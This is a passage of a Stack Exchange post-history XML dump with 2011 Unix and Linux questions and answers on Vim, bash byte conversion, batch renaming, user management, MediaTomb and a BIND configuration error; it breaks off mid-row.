  <row Id="32421" PostHistoryTypeId="11" PostId="13130" RevisionGUID="69a4de02-7c24-49e6-994b-d0f328bc821a" CreationDate="2011-05-13T21:28:31.497" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32423" PostHistoryTypeId="14" PostId="13130" RevisionGUID="91f940e2-59ff-446b-a795-5543b516137e" CreationDate="2011-05-13T21:28:44.740" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="32424" PostHistoryTypeId="17" PostId="13130" RevisionGUID="73a8cc66-942c-417b-8fa2-f96419ea8621" CreationDate="2011-05-13T21:28:44.740" UserId="73" Comment="to http://superuser.com/questions/283199/running-windows-7-within-linux-w-4gb-ram-bad-idea" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32425" PostHistoryTypeId="10" PostId="13130" RevisionGUID="9fabe30d-a969-4399-be35-b8d66ebb8c6c" CreationDate="2011-05-13T21:28:44.460" UserId="73" CloseReasonId="2" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="32426" PostHistoryTypeId="2" PostId="13136" RevisionGUID="be0bcfe8-3d45-4049-97a2-6759dd25d59f" CreationDate="2011-05-13T21:36:29.047" UserId="7460" Text="I want know how check sever time  when view a file with Vim ?&#xD;&#xA;or can't check time in Vim ?&#xD;&#xA;" />
  <row Id="32427" PostHistoryTypeId="1" PostId="13136" RevisionGUID="be0bcfe8-3d45-4049-97a2-6759dd25d59f" CreationDate="2011-05-13T21:36:29.047" UserId="7460" Text="how check sever time when view a file with VIM" />
  <row Id="32428" PostHistoryTypeId="3" PostId="13136" RevisionGUID="be0bcfe8-3d45-4049-97a2-6759dd25d59f" CreationDate="2011-05-13T21:36:29.047" UserId="7460" Text="évimà" />
  <row Id="32429" PostHistoryTypeId="5" PostId="13132" RevisionGUID="6096f8e9-139c-414c-b40b-66ae35b5357c" CreationDate="2011-05-13T21:51:23.273" UserId="885" Comment="added hyperlinks" Text="On the Mac, use [Do Something When](http://www.azarhi.com/Projects/DSW/), a free software which triggers actions when you mount/unmount a drive.&#xD;&#xA;&#xD;&#xA;On the Linux side, [udev](http://reactivated.net/writing_udev_rules.html) can run an external program when a disk is inserted (see e.g. http://unix.stackexchange.com/questions/6894/how-to-be-notified-when-a-usb-device-was-plugged).&#xD;&#xA;" />
  <row Id="32430" PostHistoryTypeId="5" PostId="3196" RevisionGUID="f808e7bc-3e67-4874-b0fc-ce919132c420" CreationDate="2011-05-13T21:55:10.723" UserId="885" Comment="removed extra stuff that none of the answers addressed" Text="Can you explain the evolution hierarchy of operating systems (Linux and Windows) from Unix?&#xD;&#xA;" />
  <row Id="32431" PostHistoryTypeId="6" PostId="3196" RevisionGUID="f808e7bc-3e67-4874-b0fc-ce919132c420" CreationDate="2011-05-13T21:55:10.723" UserId="885" Comment="removed extra stuff that none of the answers addressed" Text="éhistoryà" />
  <row Id="32432" PostHistoryTypeId="5" PostId="13103" RevisionGUID="2034cd30-ddd9-4b76-8dae-9bacd9c32e67" CreationDate="2011-05-13T21:59:56.253" UserId="3519" Comment="added 53 characters in body" Text="Adding any extension to any file on Linux/Unix systems is totally optional.&#xD;&#xA;&#xD;&#xA;However it is much easier to recognise which file contains what type of information at a glance with suitable extensions, particularly when you share your files with others.&#xD;&#xA;&#xD;&#xA;Also for integration with GUI desktops (or automation of tasks, such as compiling programs), it makes file association much easier - although some associations can be infered from identification within the file, such as the #! for executable scripts and magick number for a variety of file formats, this is not the case for other types of contents, such as plain text or some of the raw images for instance.&#xD;&#xA;&#xD;&#xA;So at the end of the day it depends on what your text files mean to you and what you do with them." />
  <row Id="32433" PostHistoryTypeId="2" PostId="13137" RevisionGUID="edb65835-ad9b-452f-a635-b90160294f1c" CreationDate="2011-05-13T22:08:52.903" UserId="2343" Text="How can I 'read/interpret' 8 bytes as an **unsigned** int *(Little Endian)*...   &#xD;&#xA;Perhaps there is a bash-fu magic conversion for this? &#xD;&#xA;" />
  <row Id="32434" PostHistoryTypeId="1" PostId="13137" RevisionGUID="edb65835-ad9b-452f-a635-b90160294f1c" CreationDate="2011-05-13T22:08:52.903" UserId="2343" Text="In bash, how to convert 8 bytes to an unsigned int (64bit LE) ?" />
  <row Id="32435" PostHistoryTypeId="3" PostId="13137" RevisionGUID="edb65835-ad9b-452f-a635-b90160294f1c" CreationDate="2011-05-13T22:08:52.903" UserId="2343" Text="ébashàéconversionà" />
  <row Id="32436" PostHistoryTypeId="2" PostId="13138" RevisionGUID="c88fe789-a167-41b3-96f9-a1b3a4f03513" CreationDate="2011-05-13T22:11:01.407" UserId="885" Text="A good architecture would be to divide the screen into two windows, one for command input and one for program display. That's basically what a normal MUD client would do. You can do that in Screen with the `split` command (`C-a S`).&#xD;&#xA;&#xD;&#xA;Create a [named pipe](http://en.wikipedia.org/wiki/Named_pipe) to transmit your input from the input window to the telnet window: `mkfifo mud-input-fifo`. In one of the windows, run `telnet mud.example.com 1234 &lt;mud-input-fifo` or `nc mud.example.com 1234 &lt;mud-input-fifo` (`nc` is [netcat](http://en.wikipedia.org/wiki/Netcat), the Swiss Army knife of networking). In the other window, run `rlwrap tee mud-input-fifo` ([rlwrap](http://utopia.knoware.nl/~hlub/uck/rlwrap/rlwrap.html) provides line edition to any line input program).&#xD;&#xA;&#xD;&#xA;Emacs could do that too. But you'd end up implementing a MUD client in Emacs, which has been done before ([`mu.el`](http://www.emacswiki.org/emacs/mu.el), [`mud.el`](http://www.waider.ie/hacks/emacs/mud.html), [`mudel.el`](http://www.emacswiki.org/emacs/mudel.el), [eMUDs](http://www.emacswiki.org/emacs/eMUDs), …).&#xD;&#xA;" />
  <row Id="32437" PostHistoryTypeId="5" PostId="13091" RevisionGUID="15b8c98a-2aa7-42ae-a311-2e090d4caab4" CreationDate="2011-05-13T22:14:23.007" UserId="2689" Comment="added 118 characters in body; edited tags" Text="I have a flash drive, let's name it `FLASH`.&#xD;&#xA;&#xD;&#xA;I want, when on my mac, when `FLASH` is plugged (and automatically mounted), execute a specific script and make `~/Documents` to be automatically copied to `/Volumes/FLASH/Documents` (mac mounts drives at `/Volumes`).&#xD;&#xA;&#xD;&#xA;This same drive, `FLASH`, (with this new `Documents` folder added before with the mac situation), when plugged in an Ubuntu machine, I want it to automatically copy `FLASH/Documents` to `~/Documents` (or automatically execute an script, after mounting).&#xD;&#xA;&#xD;&#xA;How should I do this in these different scenarios? I don't want to use third party applications for this, I prefer using core/builtin tools available in both platforms." />
  <row Id="32438" PostHistoryTypeId="6" PostId="13091" RevisionGUID="15b8c98a-2aa7-42ae-a311-2e090d4caab4" CreationDate="2011-05-13T22:14:23.007" UserId="2689" Comment="added 118 characters in body; edited tags" Text="élinuxàébackupàérsyncàéautomatoràémacà" />
  <row Id="32439" PostHistoryTypeId="2" PostId="13139" RevisionGUID="eb4332ba-32f3-4c6c-912e-a60f58c27dec" CreationDate="2011-05-13T22:30:09.513" UserId="7464" Text="I have mediatomb in ubuntu. I have started it with &quot;sudo service mediatomb start&quot;, and its process shows in ps.&#xD;&#xA;&#xD;&#xA;But in the config I cant find where to specify the media directory. I searched the web too, with no luck." />
  <row Id="32440" PostHistoryTypeId="1" PostId="13139" RevisionGUID="eb4332ba-32f3-4c6c-912e-a60f58c27dec" CreationDate="2011-05-13T22:30:09.513" UserId="7464" Text="How to specify the media directory in MediaTomb" />
  <row Id="32441" PostHistoryTypeId="3" PostId="13139" RevisionGUID="eb4332ba-32f3-4c6c-912e-a60f58c27dec" CreationDate="2011-05-13T22:30:09.513" UserId="7464" Text="éubuntuàémediaà" />
  <row Id="32442" PostHistoryTypeId="2" PostId="13140" RevisionGUID="31a94c34-f89f-4b3b-a343-e9c4eb688ec5" CreationDate="2011-05-13T22:33:45.813" UserId="6935" Text="AFAIK there isn't a way to specify your media path in the config file. You need to do it in the web interface. But first you need enable the web interface (and best put it in a known port).&#xD;&#xA;&#xD;&#xA;find the `ui` tag, and set the `enabled` attribute to `yes`.&#xD;&#xA;and just before the `ui` tag (as a child of the `server` element) add the following&#xD;&#xA;&#xD;&#xA;    &lt;port&gt;4000&lt;/port&gt;&#xD;&#xA;&#xD;&#xA;You can replace 4000 with the actual port you want to use. Just make sure nothing else is using it.&#xD;&#xA;&#xD;&#xA;Then go to **http://localhost:4000/** in a browser, find your media path in the tree, and add it using the buttons on the right handside of the screen.&#xD;&#xA;" />
  <row Id="32443" PostHistoryTypeId="2" PostId="13141" RevisionGUID="6f4c0a40-0b03-4e0d-9f5e-dd832628d2b0" CreationDate="2011-05-13T22:39:14.400" UserId="885" Text="I don't think bash has any built-in feature for this. The following snippet sets `a` to a string that is the hexadecimal representation of the number that corresponds to the bytes in the specified string in *big endian* order.&#xD;&#xA;&#xD;&#xA;    a=0x$(printf &quot;%s&quot; &quot;$string&quot; |&#xD;&#xA;          od -t x1 -An |&#xD;&#xA;          tr -dc '[:alnum:]')&#xD;&#xA;&#xD;&#xA;For little-endian order, reverse the order of the bytes in the original string. In bash, and for a string of known length, you can do&#xD;&#xA;&#xD;&#xA;    a=0x$(printf &quot;%s&quot; &quot;${string:7:1}${string:6:1}${string:5:1}${string:4:1}${string:3:1}${string:2:1}${string:1:1}${string:0:1}&quot; |&#xD;&#xA;          od -t x1 -An |&#xD;&#xA;          tr -dc '[:alnum:]')&#xD;&#xA;&#xD;&#xA;You can also get your platform's prefered endianness if your `od` supports 8-byte types.&#xD;&#xA;&#xD;&#xA;    a=0x$(printf &quot;%s&quot; &quot;$string&quot; |&#xD;&#xA;          od -t x8 -An |&#xD;&#xA;          tr -dc '[:alnum:]')&#xD;&#xA;&#xD;&#xA;Whether you can do arithmetic on `$a` will depend on whether your bash supports 8-byte arithmetic. Even if it does, it'll treat it as a signed value.&#xD;&#xA;&#xD;&#xA;Alternatively, use Perl:&#xD;&#xA;&#xD;&#xA;    a=$(perl -e 'print unpack &quot;Q&lt;&quot;, $ARGV[0]' &quot;$string&quot;)&#xD;&#xA;&#xD;&#xA;(Replace `&lt;` by `&gt;` for big-endian or remove it to get the platform endianness.)&#xD;&#xA;" />
  <row Id="32444" PostHistoryTypeId="6" PostId="13137" RevisionGUID="358544f8-555d-40b2-8bb9-33526cc13e4d" CreationDate="2011-05-13T22:42:52.990" UserId="885" Comment="edited tags" Text="ébashàéarithmeticà" />
  <row Id="32445" PostHistoryTypeId="2" PostId="13142" RevisionGUID="7204a53e-b07b-477a-bdaf-0e70e26fe6f4" CreationDate="2011-05-13T22:56:27.057" UserId="7136" Text="You can execute external commands in Vim by using the '!' flag:&#xD;&#xA;&#xD;&#xA;    :! date&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://www.linux.com/learn/tutorials/442419-vim-tips-working-with-external-commands" />
  <row Id="32446" PostHistoryTypeId="2" PostId="13143" RevisionGUID="b5815569-bf5d-4aa1-96b7-f7e31f951ecb" CreationDate="2011-05-13T23:23:24.897" UserId="7220" Text="If you like, you can set Vim up so it displays the time on the status bar by adding the following lines to your vimrc file:&#xD;&#xA;&#xD;&#xA;    set ruler&#xD;&#xA;    set rulerformat=%55(%{strftime('%a\ %b\ %e\ %I:%M\ %p')}\ %5l,%-6(%c%V%)\ %P%)&#xD;&#xA;&#xD;&#xA;Credit goes to **[this Vim Wiki page](http://vim.wikia.com/wiki/Display_date-and-time_on_status_line)**." />
  <row Id="32447" PostHistoryTypeId="5" PostId="13141" RevisionGUID="89f39c2f-667d-44f9-a1a8-fefbaeaf9dd1" CreationDate="2011-05-14T00:03:25.870" UserId="885" Comment="added solution for 32-bit perl" Text="I don't think bash has any built-in feature for this. The following snippet sets `a` to a string that is the hexadecimal representation of the number that corresponds to the bytes in the specified string in *big endian* order.&#xD;&#xA;&#xD;&#xA;    a=0x$(printf &quot;%s&quot; &quot;$string&quot; |&#xD;&#xA;          od -t x1 -An |&#xD;&#xA;          tr -dc '[:alnum:]')&#xD;&#xA;&#xD;&#xA;For little-endian order, reverse the order of the bytes in the original string. In bash, and for a string of known length, you can do&#xD;&#xA;&#xD;&#xA;    a=0x$(printf &quot;%s&quot; &quot;${string:7:1}${string:6:1}${string:5:1}${string:4:1}${string:3:1}${string:2:1}${string:1:1}${string:0:1}&quot; |&#xD;&#xA;          od -t x1 -An |&#xD;&#xA;          tr -dc '[:alnum:]')&#xD;&#xA;&#xD;&#xA;You can also get your platform's prefered endianness if your `od` supports 8-byte types.&#xD;&#xA;&#xD;&#xA;    a=0x$(printf &quot;%s&quot; &quot;$string&quot; |&#xD;&#xA;          od -t x8 -An |&#xD;&#xA;          tr -dc '[:alnum:]')&#xD;&#xA;&#xD;&#xA;Whether you can do arithmetic on `$a` will depend on whether your bash supports 8-byte arithmetic. Even if it does, it'll treat it as a signed value.&#xD;&#xA;&#xD;&#xA;Alternatively, use Perl:&#xD;&#xA;&#xD;&#xA;    a=0x$(perl -e 'print unpack &quot;Q&lt;&quot;, $ARGV[0]' &quot;$string&quot;)&#xD;&#xA;&#xD;&#xA;If your perl is compiled without 64-bit integer support, you'll need to break the bytes up.&#xD;&#xA;&#xD;&#xA;    a=0x$(perl -e 'printf &quot;%x%08x\n&quot;, reverse unpack &quot;L&lt;L&lt;&quot;, $ARGV[0]' &quot;$string&quot;)&#xD;&#xA;&#xD;&#xA;(Replace `&lt;` by `&gt;` for big-endian or remove it to get the platform endianness.)&#xD;&#xA;" />
  <row Id="32448" PostHistoryTypeId="25" PostId="13139" RevisionGUID="3b67ceba-bdf8-4ded-853e-25c0d10f7419" CreationDate="2011-05-14T00:12:08.097" Comment="http://twitter.com/#!/StackUnix/status/69193236538867712" />
  <row Id="32449" PostHistoryTypeId="2" PostId="13144" RevisionGUID="2507e4d2-9693-45b7-95e8-830b1b89b4ad" CreationDate="2011-05-14T02:22:22.887" UserId="7244" Text="I am inheriting about 20 linux servers running different versions of Ubunutu (7 and above).  The current setup has people logging in(ssh) with a shared login (it was explained to me that this was done to ease user management) or as root.  I assume it would be safer/more customizable to log in to each box using one's own login, right?  And sshing in as root is a Bad Thing yes?  There's only two of us, but I may want to institute different permissions per user.  &#xD;&#xA;&#xD;&#xA;What would you suggest, while keeping complexity to a minimum?" />
  <row Id="32450" PostHistoryTypeId="1" PostId="13144" RevisionGUID="2507e4d2-9693-45b7-95e8-830b1b89b4ad" CreationDate="2011-05-14T02:22:22.887" UserId="7244" Text="What is the best way to manage users across multiple servers" />
  <row Id="32451" PostHistoryTypeId="3" PostId="13144" RevisionGUID="2507e4d2-9693-45b7-95e8-830b1b89b4ad" CreationDate="2011-05-14T02:22:22.887" UserId="7244" Text="éloginà" />
  <row Id="32452" PostHistoryTypeId="2" PostId="13145" RevisionGUID="bba29713-9e6b-47ac-9780-356274497465" CreationDate="2011-05-14T02:24:47.410" UserId="7467" Text="I can't seem to find this anywhere. &#xD;&#xA;Also is there a list of repositories for third party software apart from livna? and is there a better package manager like Ubuntu's for Linux?" />
  <row Id="32453" PostHistoryTypeId="1" PostId="13145" RevisionGUID="bba29713-9e6b-47ac-9780-356274497465" CreationDate="2011-05-14T02:24:47.410" UserId="7467" Text="Which Repository do I add to install Gnome 3 on Fedora 14" />
  <row Id="32454" PostHistoryTypeId="3" PostId="13145" RevisionGUID="bba29713-9e6b-47ac-9780-356274497465" CreationDate="2011-05-14T02:24:47.410" UserId="7467" Text="éfedoraàégnome3à" />
  <row Id="32455" PostHistoryTypeId="25" PostId="13144" RevisionGUID="d03cd8b7-3515-438d-8955-4b9a6663a3ba" CreationDate="2011-05-14T03:12:08.010" Comment="http://twitter.com/#!/StackUnix/status/69238535454081024" />
  <row Id="32456" PostHistoryTypeId="2" PostId="13146" RevisionGUID="7b22c463-d349-4760-8cb1-24303cf34d74" CreationDate="2011-05-14T03:49:22.577" UserId="7469" Text="I've been trying to update Git for a while. I'm currently stuck on 1.7.3.4, and I've tried updating to 1.7.4.x, and 1.7.5.x but it never works.&#xD;&#xA;&#xD;&#xA;Today I compiled and installed Ruby 1.9.2, but it still shows up as 1.8.7.&#xD;&#xA;&#xD;&#xA;I'm running 10.6.7 on a MacBook Pro.&#xD;&#xA;&#xD;&#xA;I have no idea why it won't update. Any ideas? :(" />
  <row Id="32457" PostHistoryTypeId="1" PostId="13146" RevisionGUID="7b22c463-d349-4760-8cb1-24303cf34d74" CreationDate="2011-05-14T03:49:22.577" UserId="7469" Text="Ruby and Git refuse to update. (Mac)" />
  <row Id="32458" PostHistoryTypeId="3" PostId="13146" RevisionGUID="7b22c463-d349-4760-8cb1-24303cf34d74" CreationDate="2011-05-14T03:49:22.577" UserId="7469" Text="éosxàégitàérubyà" />
  <row Id="32459" PostHistoryTypeId="2" PostId="13147" RevisionGUID="32d16960-4abd-415f-8499-7d3216496c63" CreationDate="2011-05-14T04:23:19.223" UserId="7470" Text="Rename all the files within a folder with suffix “Unix_” i.e. suppose a folder has two files a.txt and b.pdf than they both should be renamed from a single command to Unix_a.txt and Unix_b.pdf" />
  <row Id="32460" PostHistoryTypeId="1" PostId="13147" RevisionGUID="32d16960-4abd-415f-8499-7d3216496c63" CreationDate="2011-05-14T04:23:19.223" UserId="7470" Text="Rename all the files within a folder with suffix “Unix_”" />
  <row Id="32461" PostHistoryTypeId="3" PostId="13147" RevisionGUID="32d16960-4abd-415f-8499-7d3216496c63" CreationDate="2011-05-14T04:23:19.223" UserId="7470" Text="érenameà" />
  <row Id="32462" PostHistoryTypeId="2" PostId="13148" RevisionGUID="bd9018c1-1568-401f-8995-8ae2ea579335" CreationDate="2011-05-14T05:21:10.073" UserId="5259" Text="The [rename][1] command can rename files using regular expressions, which makes it very powerful.  In your case, you could do&#xD;&#xA;&#xD;&#xA;    rename 's/(.*)/Unix_$1/' *.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/tips/renaming-multiple-files-at-a-shell-prompt.html" />
  <row Id="32463" PostHistoryTypeId="2" PostId="13149" RevisionGUID="ebe88e5e-2357-4c34-85d9-f4e37f047f5e" CreationDate="2011-05-14T05:21:37.577" UserId="138" Text="    $ for f in * ; do mv &quot;$f&quot; Unix_&quot;$f&quot; ; done" />
  <row Id="32464" PostHistoryTypeId="2" PostId="13150" RevisionGUID="5077b07e-87cb-45d1-9218-324f960c15e7" CreationDate="2011-05-14T05:47:37.810" UserId="3082" Text="The quickest way is to set up a NIS server and install and configure ypbind to use it. Put the user accounts there. Then configure the /etc/nssswitch.conf on every machine to use the nis service for passwd and group." />
  <row Id="32465" PostHistoryTypeId="25" PostId="13119" RevisionGUID="23f84cf6-ed12-46b8-bc7d-8c2da7bb1713" CreationDate="2011-05-14T06:12:08.070" Comment="http://twitter.com/#!/StackUnix/status/69283833803063296" />
  <row Id="32466" PostHistoryTypeId="5" PostId="13137" RevisionGUID="9f556d85-31c9-45c0-958b-abe85b74fade" CreationDate="2011-05-14T06:19:47.237" UserId="2343" Comment="Clarify the question" Text="How can I 'read/interpret' 8 bytes as an **unsigned** int *(Little Endian)*...   &#xD;&#xA;Perhaps there is a bash-fu magic conversion for this? &#xD;&#xA;&#xD;&#xA;UPDATE:  &#xD;&#xA;It seems that something got cross-wired in the interpretation of my question.. Here is a broader example of what I am trying to do.    &#xD;&#xA;&#xD;&#xA;I want to read the first (and last) 64k of a file. Each 8-byte word is to be interpreted as a 64-bit Little-Endian unsigned integer.. These **integers** are to be used in a hashing computation which uniquely identifies the file. So there are a lot of calculations to make, ∴ speed is preferred, but not critical..  (Why am I doing it? ..because `smplayer` hashes the names of its played-media .ini files, and I want to access, and modify these files, so I am mimicing the smplayer's C++ code in bash.  &#xD;&#xA;&#xD;&#xA;A solution which caters to accepting a piped input would be optimal, and is probably essential because of the way bash variables can't handle \x00..   &#xD;&#xA;&#xD;&#xA;I realize that something like this is probably better suited to the likes of python, perl, and C/C++, but I don't know python and perl, and although I could do it in C++, it's been years since I've used it and I'm trying to focus on bash.  &#xD;&#xA;&#xD;&#xA;Short perl and python snippets are good.. bash is perferred (but not at the sacrifice of speed).        &#xD;&#xA;&#xD;&#xA;" />
  <row Id="32467" PostHistoryTypeId="2" PostId="13151" RevisionGUID="041ef54f-123e-4ac7-b4c4-4d92dba30cc5" CreationDate="2011-05-14T06:24:48.320" UserId="5307" Text="I'm using [curl to dowload a jar from a TESTDRIVE script][1] and for debugging purposes it helps to log the http headers returned to a log file. But logging them in the working dir (where the script is executed from) is inconvenient (for the user). I was wondering if there was a /logs/log in unix systems where applications could log their stuff.&#xD;&#xA;&#xD;&#xA;Console in the mac indeed seems to pickup logs from multiple applications, somehow.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://curl.haxx.se/mail/archive-2011-04/0075.html" />
  <row Id="32468" PostHistoryTypeId="1" PostId="13151" RevisionGUID="041ef54f-123e-4ac7-b4c4-4d92dba30cc5" CreationDate="2011-05-14T06:24:48.320" UserId="5307" Text="Is there a OS/user-wide log to log to?" />
  <row Id="32469" PostHistoryTypeId="3" PostId="13151" RevisionGUID="041ef54f-123e-4ac7-b4c4-4d92dba30cc5" CreationDate="2011-05-14T06:24:48.320" UserId="5307" Text="élogsàécurlà" />
  <row Id="32470" PostHistoryTypeId="2" PostId="13152" RevisionGUID="eaf3e863-dbe3-48e6-861a-635ae164d6e2" CreationDate="2011-05-14T06:26:27.527" UserId="2567" Text="You could try to use syslog:&#xD;&#xA;&#xD;&#xA;* http://en.wikipedia.org/wiki/Syslog&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32474" PostHistoryTypeId="4" PostId="13147" RevisionGUID="094b0ae1-57bc-44ca-8e88-d9891ff0a56d" CreationDate="2011-05-14T07:08:23.233" UserId="1952" Comment="suffix -&gt; prefix" Text="Rename all the files within a folder with prefix “Unix_”" />
  <row Id="32475" PostHistoryTypeId="24" PostId="13147" RevisionGUID="094b0ae1-57bc-44ca-8e88-d9891ff0a56d" CreationDate="2011-05-14T07:08:23.233" Comment="Proposed by 1952 approved by -1 edit id of 369" />
  <row Id="32476" PostHistoryTypeId="5" PostId="13147" RevisionGUID="e42d2be4-03d2-4fb5-b297-246b5294bc74" CreationDate="2011-05-14T07:08:23.823" UserId="1078" Comment="Change suffix to prefix" Text="Rename all the files within a folder with prefix “Unix_” i.e. suppose a folder has two files a.txt and b.pdf than they both should be renamed from a single command to Unix_a.txt and Unix_b.pdf" />
  <row Id="32477" PostHistoryTypeId="2" PostId="13154" RevisionGUID="cea21e10-7e63-4876-826a-a5b69742195c" CreationDate="2011-05-14T07:17:00.120" UserId="5349" Text="The two commands do something different, however they can end up calling each other, which is why they *seem* to do the same thing!&#xD;&#xA;&#xD;&#xA;`reboot` will invoke the kernel to actually trigger a hardware reboot. However, it will only do this if the system is ready for shutdown - all daemons and user processes should be stopped, file systems unmounted, etc. So it checks the system runlevel, and if it's not 0 or 6, then it will actually invoke the `shutdown` command for you.&#xD;&#xA;&#xD;&#xA;`shutdown` causes the system runlevel to be changed. The runlevel change (to 0 for halt or 6 for reboot) runs lots of scripts in /etc/rc0.d or rc6.d that shut down daemons, unmount filesystems, etc. Finally these scripts invoke `halt` or `reboot` - this time the system is in the correct runlevel and they instruct the kernel to reboot (or halt)." />
  <row Id="32478" PostHistoryTypeId="5" PostId="3990" RevisionGUID="d1215afc-ad90-4a95-a581-08955e409750" CreationDate="2011-05-14T07:42:56.043" UserId="688" Comment="added 1 characters in body; edited title" Text="Is there a feasible solution than combines the advantages of a command-line and a graphical file browser?&#xD;&#xA;&#xD;&#xA;For example, the command-line is good to change the directory and execute commands but can't show thumbnails and the file browser is intuitive, gives a good overview on where you are in the tree but you can't &quot;talk&quot; to the computer like in a command-line.&#xD;&#xA;&#xD;&#xA;EDIT: for me, as a command-line user, its more like needing a command-line with additional file-browser capabilities than having a file browser with some command-line features." />
  <row Id="32479" PostHistoryTypeId="4" PostId="3990" RevisionGUID="d1215afc-ad90-4a95-a581-08955e409750" CreationDate="2011-05-14T07:42:56.043" UserId="688" Comment="added 1 characters in body; edited title" Text="Is there a good combination of command-line and graphical file browser?" />
  <row Id="32481" PostHistoryTypeId="2" PostId="13155" RevisionGUID="9983edb9-770a-49ed-b9b3-5aa5d2c5d502" CreationDate="2011-05-14T08:21:36.637" UserId="7476" Text="I am desperately looking on how to map the keyboard keys to my mouse axis in MAC OS X 10.6 Terminal. &#xD;&#xA;&#xD;&#xA;For example, &quot;positive x&quot; to &quot;W&quot;. &#xD;&#xA;&#xD;&#xA;Is this somehow possible or do I need to get a software package which enables this for me? &#xD;&#xA;&#xD;&#xA;I searched the internet but I just get the man page for the [mouse-driver][1] which I don't own on my system :(&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/4/mouse-driver" />
  <row Id="32482" PostHistoryTypeId="1" PostId="13155" RevisionGUID="9983edb9-770a-49ed-b9b3-5aa5d2c5d502" CreationDate="2011-05-14T08:21:36.637" UserId="7476" Text="map keys to mouse axis" />
  <row Id="32483" PostHistoryTypeId="3" PostId="13155" RevisionGUID="9983edb9-770a-49ed-b9b3-5aa5d2c5d502" CreationDate="2011-05-14T08:21:36.637" UserId="7476" Text="éterminalàémouseàémacintoshà" />
  <row Id="32484" PostHistoryTypeId="2" PostId="13156" RevisionGUID="c9b6af3c-99cd-45e8-b35b-ebe9aa7ae772" CreationDate="2011-05-14T08:31:37.403" UserId="5539" Text="If you're using [Zsh][1] as your shell, you could also use the function `zmv`.&#xD;&#xA;&#xD;&#xA;Add this line to your `.zshrc`:&#xD;&#xA;&#xD;&#xA;    autoload -U zmv&#xD;&#xA;&#xD;&#xA;then you could run:&#xD;&#xA;&#xD;&#xA;    % zmv -W '*' 'Unix_*'&#xD;&#xA;&#xD;&#xA;See [`man zshcontrib`][2] for further information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zsh.org/&#xD;&#xA;  [2]: http://www.gsp.com/cgi-bin/man.cgi?section=1&amp;topic=zshcontrib" />
  <row Id="32485" PostHistoryTypeId="2" PostId="13157" RevisionGUID="cdbbcca1-4a3d-4b08-b727-69afc8f458b7" CreationDate="2011-05-14T08:37:52.940" UserId="7479" Text="Rename all files within a folder with the first word of their content(remember all the files should be text files. For example if a.txt contains “Unix is an OS” in its first line then a.txt should be renamed to Unix.txt" />
  <row Id="32486" PostHistoryTypeId="1" PostId="13157" RevisionGUID="cdbbcca1-4a3d-4b08-b727-69afc8f458b7" CreationDate="2011-05-14T08:37:52.940" UserId="7479" Text="ranaming multiple file in unix" />
  <row Id="32487" PostHistoryTypeId="3" PostId="13157" RevisionGUID="cdbbcca1-4a3d-4b08-b727-69afc8f458b7" CreationDate="2011-05-14T08:37:52.940" UserId="7479" Text="éubuntuà" />
  <row Id="32488" PostHistoryTypeId="2" PostId="13158" RevisionGUID="d259502f-f91f-408b-b0ba-109250a3968b" CreationDate="2011-05-14T08:44:35.357" UserId="7479" Text="Rename all files within a folder with the first word of their content(remember all the files should be text files. For example if a.txt contains “Unix is an OS” in its first line then a.txt should be renamed to Unix.txt" />
  <row Id="32489" PostHistoryTypeId="1" PostId="13158" RevisionGUID="d259502f-f91f-408b-b0ba-109250a3968b" CreationDate="2011-05-14T08:44:35.357" UserId="7479" Text="ranaming multiple file in unix" />
  <row Id="32490" PostHistoryTypeId="3" PostId="13158" RevisionGUID="d259502f-f91f-408b-b0ba-109250a3968b" CreationDate="2011-05-14T08:44:35.357" UserId="7479" Text="érenameà" />
  <row Id="32491" PostHistoryTypeId="2" PostId="13159" RevisionGUID="d863d301-23b1-4b1b-ba8c-6d3a2b7413cc" CreationDate="2011-05-14T08:52:48.120" UserId="4658" Text="Hi,&#xD;&#xA;&#xD;&#xA; I am install the  Bind Server in Fedora Linux.I configured the named.conf file.However,&#xD;&#xA;When I run &quot;service named start&quot; command,I am receive the following error.&#xD;&#xA;&#xD;&#xA;    starting named: /usr/sbin/named: symbol lookup error: &#xD;&#xA;    /usr/sbin/named: undefined    symbol:isc_stats_dump&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What can happen?&#xD;&#xA;&#xD;&#xA;Here is my the  named.conf file.&#xD;&#xA;  &#xD;&#xA;    //&#xD;&#xA;&#xD;&#xA;    // named.conf&#xD;&#xA;&#xD;&#xA;    // &#xD;&#xA;&#xD;&#xA;    // Provided by Red Hat bind package to configure the ISC BIND named(8) DNS&#xD;&#xA;&#xD;&#xA;    // server as a caching only nameserver (as a localhost DNS resolver only).&#xD;&#xA;&#xD;&#xA;    //&#xD;&#xA;&#xD;&#xA;    // See /usr/share/doc/bind*/sample/ for example named configuration files.&#xD;&#xA;&#xD;&#xA;    //&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    options {&#xD;&#xA;&#xD;&#xA;    listen-on port 53 { 127.0.0.1; };&#xD;&#xA;&#xD;&#xA;    listen-on-v6 port 53 { ::1; };&#xD;&#xA;&#xD;&#xA;    directory &quot;/var/named&quot;;&#xD;&#xA;&#xD;&#xA;    dump-file &quot;/var/named/data/cache_dump.db&quot;;&#xD;&#xA;&#xD;&#xA;        statistics-file &quot;/var/named/data/named_stats.txt&quot;;&#xD;&#xA;&#xD;&#xA;        memstatistics-file &quot;/var/named/data/named_mem_stats.txt&quot;;&#xD;&#xA;&#xD;&#xA;    allow-query     { localhost; };&#xD;&#xA;&#xD;&#xA;    recursion yes;&#xD;&#xA;&#xD;&#xA;    };&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    logging {&#xD;&#xA;&#xD;&#xA;        channel default_debug {&#xD;&#xA;&#xD;&#xA;                file &quot;data/named.run&quot;;&#xD;&#xA;&#xD;&#xA;                severity dynamic;&#xD;&#xA;&#xD;&#xA;        